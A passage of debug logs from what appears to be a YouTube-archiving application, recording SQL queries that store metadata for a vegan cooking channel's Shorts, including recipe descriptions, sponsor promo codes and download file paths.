https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Tofu Souvlaki Recipe 🌿🇬🇷", "d746e132-da15-46f3-8db1-7d06b14dd130", 1, [], false, "WnsuAk1Pd-M", "https://www.youtube.com/shorts/WnsuAk1Pd-M", 74, "/downloads/downloads/alec/Steamy Vegan/2024-09-29 Tofu Souvlaki Recipe 🌿🇬🇷/Tofu Souvlaki Recipe 🌿🇬🇷 [WnsuAk1Pd-M].NA", false, false, true, 1, ~U[2024-09-29 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This tofu souvlaki is part of an in-depth vegan meal prep I did on the channel. This in-depth high-protein meal prep will take you to garlicky, lemony heaven with these 7 vegan recipes that are all Greek-inspired. We'll be doing tofu souvlaki, Greek lemon rice, crispy Greek lemon potatoes, tzatziki, Greek baked beans, tahini broccoli, and Greek salad.\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Tofu Souvlaki Recipe 🌿🇬🇷", 1, nil, false, "WnsuAk1Pd-M", "https://www.youtube.com/shorts/WnsuAk1Pd-M", "/downloads/downloads/alec/Steamy Vegan/2024-09-29 Tofu Souvlaki Recipe 🌿🇬🇷/Tofu Souvlaki Recipe 🌿🇬🇷 [WnsuAk1Pd-M].NA", true, ~U[2024-09-29 00:00:00Z]] 20:31:09.290 [debug] QUERY OK source="sources" db=0.7ms idle=15.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.292 [debug] QUERY OK source="media_items" db=2.0ms idle=14.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-27 00:00:00Z], 1] 20:31:09.296 [debug] QUERY OK source="media_items" db=2.8ms idle=15.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan apple cinnamon oatmeal recipe uses an amazing ingredient that most people have never thought to use before. This vegan recipe is perfect for your breakfast meal prep and you'll want to eat it all autumn long!\n\nWatch my other breakfast videos here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nWatch my other meal prep videos here ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nMISO APPLE CINNAMON OATMEAL | MEAL PREP | serves 4 to 6\nCut the ingredients in half for a smaller batch\n\n3 cup rolled oats\n2 cups unsweetened plant milk\n2½ cups water \n2 tbsp cinnamon, divided\n½ tsp nutmeg\n4 large/6 small crisp apples diced\n4 tbsp maple syrup, divided\n2½ tbsp miso white miso paste, divided\n1 tsp ground ginger\n1 tbsp vegan butter\n\n1. Chop all the apples and divide them in half.\n2. Add oats, milk, water, 1½ tbsp cinnamon, nutmeg, and 2 tbsp of maple syrup to a large pot and whisk well to dissolve all the spices.\n3. Cover, bring to a gentle boil, then reduce heat to a simmer, add half the chopped apples and the oats. Stir to combine and cook uncovered for 15 to 20 minutes over medium-low heat, stirring occasionally to prevent the oats from sticking to the bottom.\n4. Melt 1 tbsp vegan butter in a separate large saucepan over medium heat, and add the remaining apples, ½ tbsp cinnamon, ground ginger and 2 tbsp maple syrup. Cook uncovered for about 10 to 12 minutes, stirring frequently as the apples caramelize.\n5. In a small bowl whisk the 1½ tbsp miso and 3 tbsp water. Once the oatmeal is cooked and most of the liquid is absorbed, remove the pot from the heat and pour the miso mixture over the oats, and stir well to combine. \n6. Whisk the remaining 1 tbsp miso with water, remove the cooked caramelized apples from the heat, pour the miso mixture over the apples and stir to combine. \n7. Serve the oatmeal in bowls topped with some of the miso spiced apples and a sprinkle of chopped pecans and enjoy!\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic featured in this episode:\n\nFree Music for Videos 👉 Music by Wabi Sabi - beachside guitar - https://thmatc.co/?l=62A5F00E\nFree Music for Videos 👉 Music by Azure Tones - Silver Lining - https://thmatc.co/?l=0D88FA26", "Ever put THIS in your oatmeal? 🥣", "56374bc4-0642-48c8-81bf-5c209380fc33", 1, [], false, "coUAyjRDzbU", "https://www.youtube.com/shorts/coUAyjRDzbU", 75, "/downloads/downloads/alec/Steamy Vegan/2024-09-27 Ever put THIS in your oatmeal? 🥣/Ever put THIS in your oatmeal? 🥣 [coUAyjRDzbU].NA", false, false, true, 1, ~U[2024-09-27 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan apple cinnamon oatmeal recipe uses an amazing ingredient that most people have never thought to use before. This vegan recipe is perfect for your breakfast meal prep and you'll want to eat it all autumn long!\n\nWatch my other breakfast videos here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nWatch my other meal prep videos here ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nMISO APPLE CINNAMON OATMEAL | MEAL PREP | serves 4 to 6\nCut the ingredients in half for a smaller batch\n\n3 cup rolled oats\n2 cups unsweetened plant milk\n2½ cups water \n2 tbsp cinnamon, divided\n½ tsp nutmeg\n4 large/6 small crisp apples diced\n4 tbsp maple syrup, divided\n2½ tbsp miso white miso paste, divided\n1 tsp ground ginger\n1 tbsp vegan butter\n\n1. Chop all the apples and divide them in half.\n2. Add oats, milk, water, 1½ tbsp cinnamon, nutmeg, and 2 tbsp of maple syrup to a large pot and whisk well to dissolve all the spices.\n3. Cover, bring to a gentle boil, then reduce heat to a simmer, add half the chopped apples and the oats. Stir to combine and cook uncovered for 15 to 20 minutes over medium-low heat, stirring occasionally to prevent the oats from sticking to the bottom.\n4. Melt 1 tbsp vegan butter in a separate large saucepan over medium heat, and add the remaining apples, ½ tbsp cinnamon, ground ginger and 2 tbsp maple syrup. Cook uncovered for about 10 to 12 minutes, stirring frequently as the apples caramelize.\n5. In a small bowl whisk the 1½ tbsp miso and 3 tbsp water. Once the oatmeal is cooked and most of the liquid is absorbed, remove the pot from the heat and pour the miso mixture over the oats, and stir well to combine. \n6. Whisk the remaining 1 tbsp miso with water, remove the cooked caramelized apples from the heat, pour the miso mixture over the apples and stir to combine. \n7. Serve the oatmeal in bowls topped with some of the miso spiced apples and a sprinkle of chopped pecans and enjoy!\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic featured in this episode:\n\nFree Music for Videos 👉 Music by Wabi Sabi - beachside guitar - https://thmatc.co/?l=62A5F00E\nFree Music for Videos 👉 Music by Azure Tones - Silver Lining - https://thmatc.co/?l=0D88FA26", "Ever put THIS in your oatmeal? 🥣", 1, nil, false, "coUAyjRDzbU", "https://www.youtube.com/shorts/coUAyjRDzbU", "/downloads/downloads/alec/Steamy Vegan/2024-09-27 Ever put THIS in your oatmeal? 🥣/Ever put THIS in your oatmeal? 🥣 [coUAyjRDzbU].NA", true, ~U[2024-09-27 00:00:00Z]] 20:31:09.298 [debug] QUERY OK source="sources" db=0.8ms idle=17.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.300 [debug] QUERY OK source="media_items" db=2.4ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-25 00:00:00Z], 1] 20:31:09.303 [debug] QUERY OK source="media_items" db=1.6ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pumpkin spice + carrot cake = fall brekkie dream 🍂 🎃 🥕 😌\n\nYou NEED to try these Pumpkin Spice Carrot Cake overnight oats this week, it IS autumn now after all! 🍁 🌬️ 🧡 Not only is this a totally comforting and satisfying breakfast, it’s packed with heart healthy fibre, complex carbs and protein!\n\nServes 2 to 3\n\n½ cup vanilla greek-style non-dairy yogurt @silk_canada\n1 cup unsweetened plant milk\n½ cup pumpkin puree OR mashed baked sweet potato\n1-2 tbsp maple syrup\n1 tsp vanilla extract\n1 cup sprouted rolled oats @onedegreeorganics\n1 large carrot, grated\n¼ cup raisins\n1½ tbsp chia seeds\n1 tsp pumpkin pie spice\nChopped pecans\n\n🍂 In a mixing bowl, whisk together the yogurt, milk, pumpkin puree, maple syrup and vanilla.\n🍂 Stir in the oats, grated carrot, chia seeds and pumpkin pie spice.\n🍂 Divide into 2 sealable jars, cover with a lid and refrigerate overnight.\n🍂 When ready to serve, top with a dollop of yogurt, chopped pecans and a sprinkle of cinnamon and enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFollow 👆🏻@steamyvegankitchen for more fabulous vegan and gluten-free recipes!\n\n#steamyvegan #plantbased #yvrvegan #veganfood #vegan #pumpkinspiceeverything #carrotcake #ᴏvernightoats #autumnfoods #autumnal #pumpkinspice #pumpkinspiceszn #veganbreakfastideas #plantbasedbreakfastideas", "Pumpkin Spice Carrot Cake Overnight Oats 🎃🥕🍁🧡", "7a3151cf-7ae1-4ecb-a98a-83cb57755de0", 1, [], false, "gR9wQz66dMU", "https://www.youtube.com/shorts/gR9wQz66dMU", 76, "/downloads/downloads/alec/Steamy Vegan/2024-09-25 Pumpkin Spice Carrot Cake Overnight Oats 🎃🥕🍁🧡/Pumpkin Spice Carrot Cake Overnight Oats 🎃🥕🍁🧡 [gR9wQz66dMU].NA", false, false, true, 1, ~U[2024-09-25 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Pumpkin spice + carrot cake = fall brekkie dream 🍂 🎃 🥕 😌\n\nYou NEED to try these Pumpkin Spice Carrot Cake overnight oats this week, it IS autumn now after all! 🍁 🌬️ 🧡 Not only is this a totally comforting and satisfying breakfast, it’s packed with heart healthy fibre, complex carbs and protein!\n\nServes 2 to 3\n\n½ cup vanilla greek-style non-dairy yogurt @silk_canada\n1 cup unsweetened plant milk\n½ cup pumpkin puree OR mashed baked sweet potato\n1-2 tbsp maple syrup\n1 tsp vanilla extract\n1 cup sprouted rolled oats @onedegreeorganics\n1 large carrot, grated\n¼ cup raisins\n1½ tbsp chia seeds\n1 tsp pumpkin pie spice\nChopped pecans\n\n🍂 In a mixing bowl, whisk together the yogurt, milk, pumpkin puree, maple syrup and vanilla.\n🍂 Stir in the oats, grated carrot, chia seeds and pumpkin pie spice.\n🍂 Divide into 2 sealable jars, cover with a lid and refrigerate overnight.\n🍂 When ready to serve, top with a dollop of yogurt, chopped pecans and a sprinkle of cinnamon and enjoy!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFollow 👆🏻@steamyvegankitchen for more fabulous vegan and gluten-free recipes!\n\n#steamyvegan #plantbased #yvrvegan #veganfood #vegan #pumpkinspiceeverything #carrotcake #ᴏvernightoats #autumnfoods #autumnal #pumpkinspice #pumpkinspiceszn #veganbreakfastideas #plantbasedbreakfastideas", "Pumpkin Spice Carrot Cake Overnight Oats 🎃🥕🍁🧡", 1, nil, false, "gR9wQz66dMU", "https://www.youtube.com/shorts/gR9wQz66dMU", "/downloads/downloads/alec/Steamy Vegan/2024-09-25 Pumpkin Spice Carrot Cake Overnight Oats 🎃🥕🍁🧡/Pumpkin Spice Carrot Cake Overnight Oats 🎃🥕🍁🧡 [gR9wQz66dMU].NA", true, ~U[2024-09-25 00:00:00Z]] 20:31:09.304 [debug] QUERY OK source="sources" db=0.6ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.306 [debug] QUERY OK source="media_items" db=2.4ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-24 00:00:00Z], 1] 20:31:09.309 [debug] QUERY OK source="media_items" db=1.4ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I went back to Trader Joe's for another vegan grocery haul because there were a few vegan groceries I just had to buy again. 😍 While I'm 1 hour away from my nearest Trader Joe's, it was 100% worth the trip for this grocery haul!\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0", "Everything plant based at TJ’s | Trader Joe’s Grocery Haul 🛒", "9b1e9fd0-2a9f-4bb2-98c9-bc5fe6ef5c99", 1, [], false, "ujzQrDvT_sI", "https://www.youtube.com/shorts/ujzQrDvT_sI", 77, "/downloads/downloads/alec/Steamy Vegan/2024-09-24 Everything plant based at TJ’s | Trader Joe’s Grocery Haul 🛒/Everything plant based at TJ’s | Trader Joe’s Grocery Haul 🛒 [ujzQrDvT_sI].NA", false, false, true, 1, ~U[2024-09-24 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I went back to Trader Joe's for another vegan grocery haul because there were a few vegan groceries I just had to buy again. 😍 While I'm 1 hour away from my nearest Trader Joe's, it was 100% worth the trip for this grocery haul!\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0", "Everything plant based at TJ’s | Trader Joe’s Grocery Haul 🛒", 1, nil, false, "ujzQrDvT_sI", "https://www.youtube.com/shorts/ujzQrDvT_sI", "/downloads/downloads/alec/Steamy Vegan/2024-09-24 Everything plant based at TJ’s | Trader Joe’s Grocery Haul 🛒/Everything plant based at TJ’s | Trader Joe’s Grocery Haul 🛒 [ujzQrDvT_sI].NA", true, ~U[2024-09-24 00:00:00Z]] 20:31:09.310 [debug] QUERY OK source="sources" db=0.6ms queue=0.8ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.313 [debug] QUERY OK source="media_items" db=2.3ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-23 00:00:00Z], 1] 20:31:09.315 [debug] QUERY OK source="media_items" db=1.4ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["*SHEET PAN TEMPEH TERIYAKI BOWL*\n1 8oz block tempeh (could use 2 if making for more than 2 people), chopped into 1 inch cubes\n1 medium bell pepper, chopped\n1 medium or 2 small zucchini, chopped\n1 medium onion, thickly sliced\n*Sauce*\n½ cup low-sodium soy sauce (tamari for gluten-free)\n½ cup water or veg broth\n¼ cup coconut sugar (sub brown sugar)\n2 tbsp rice vinegar\n1 tbsp sesame oil\n3 cloves garlic, minced\n½ teaspoon ground ginger\n1 tsp red chili flakes (optional)\n2 tbsp cornstarch\n¼ cup cold water\n*Spicy Yogurt*\n1 cup plant-based plain yogurt or sour cream\n2 tbsp ranch powder (recipe ➡️ \u00A0\u00A0\u00A0•\u00A0Ranch\u00A0powder?!\u00A0🤯\u00A0Never\u00A0buy\u00A0ranch\u00A0dressing\u00A0...\u00A0\u00A0)\n¼ tsp cayenne\n1 tsp lemon juice\n\n1. Preheat oven to 375ºF and grab a large baking sheet.\n2. Add all chopped veggies and tempeh to baking sheet, set aside.\n3. Add all sauce ingredients, minus the cold water and cornstarch, to a saucepan, whisk to combine and bring to a low simmer. Once bubbling and hot, turn off the heat, combine the cold water and cornstarch in a small bowl and pour into the sauce. Whisk the slurry into the sauce constantly for about 3 to 5 minutes until it begins to thicken and slightly resemble the thickness of gravy.\n4. Remove from the heat and pour over the veggies and tempeh. Stir all the sauce into the veg with a spatula until coated. Bake for 25 to 30 minutes until the veg and tempeh are browned and the veggies are cooked through.\n5. Serve over cooked rice or noodles, garnish with fresh cilantro and a lime wedge and enjoy!\n\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Teriyaki Sauce Recipe | gluten-free 🤤", "b14b3481-d978-484c-adfb-510b817152f1", 1, [], false, "Zw4OTC8w3Kg", "https://www.youtube.com/shorts/Zw4OTC8w3Kg", 78, "/downloads/downloads/alec/Steamy Vegan/2024-09-23 Teriyaki Sauce Recipe | gluten-free 🤤/Teriyaki Sauce Recipe | gluten-free 🤤 [Zw4OTC8w3Kg].NA", false, false, true, 1, ~U[2024-09-23 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "*SHEET PAN TEMPEH TERIYAKI BOWL*\n1 8oz block tempeh (could use 2 if making for more than 2 people), chopped into 1 inch cubes\n1 medium bell pepper, chopped\n1 medium or 2 small zucchini, chopped\n1 medium onion, thickly sliced\n*Sauce*\n½ cup low-sodium soy sauce (tamari for gluten-free)\n½ cup water or veg broth\n¼ cup coconut sugar (sub brown sugar)\n2 tbsp rice vinegar\n1 tbsp sesame oil\n3 cloves garlic, minced\n½ teaspoon ground ginger\n1 tsp red chili flakes (optional)\n2 tbsp cornstarch\n¼ cup cold water\n*Spicy Yogurt*\n1 cup plant-based plain yogurt or sour cream\n2 tbsp ranch powder (recipe ➡️ \u00A0\u00A0\u00A0•\u00A0Ranch\u00A0powder?!\u00A0🤯\u00A0Never\u00A0buy\u00A0ranch\u00A0dressing\u00A0...\u00A0\u00A0)\n¼ tsp cayenne\n1 tsp lemon juice\n\n1. Preheat oven to 375ºF and grab a large baking sheet.\n2. Add all chopped veggies and tempeh to baking sheet, set aside.\n3. Add all sauce ingredients, minus the cold water and cornstarch, to a saucepan, whisk to combine and bring to a low simmer. Once bubbling and hot, turn off the heat, combine the cold water and cornstarch in a small bowl and pour into the sauce. Whisk the slurry into the sauce constantly for about 3 to 5 minutes until it begins to thicken and slightly resemble the thickness of gravy.\n4. Remove from the heat and pour over the veggies and tempeh. Stir all the sauce into the veg with a spatula until coated. Bake for 25 to 30 minutes until the veg and tempeh are browned and the veggies are cooked through.\n5. Serve over cooked rice or noodles, garnish with fresh cilantro and a lime wedge and enjoy!\n\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at 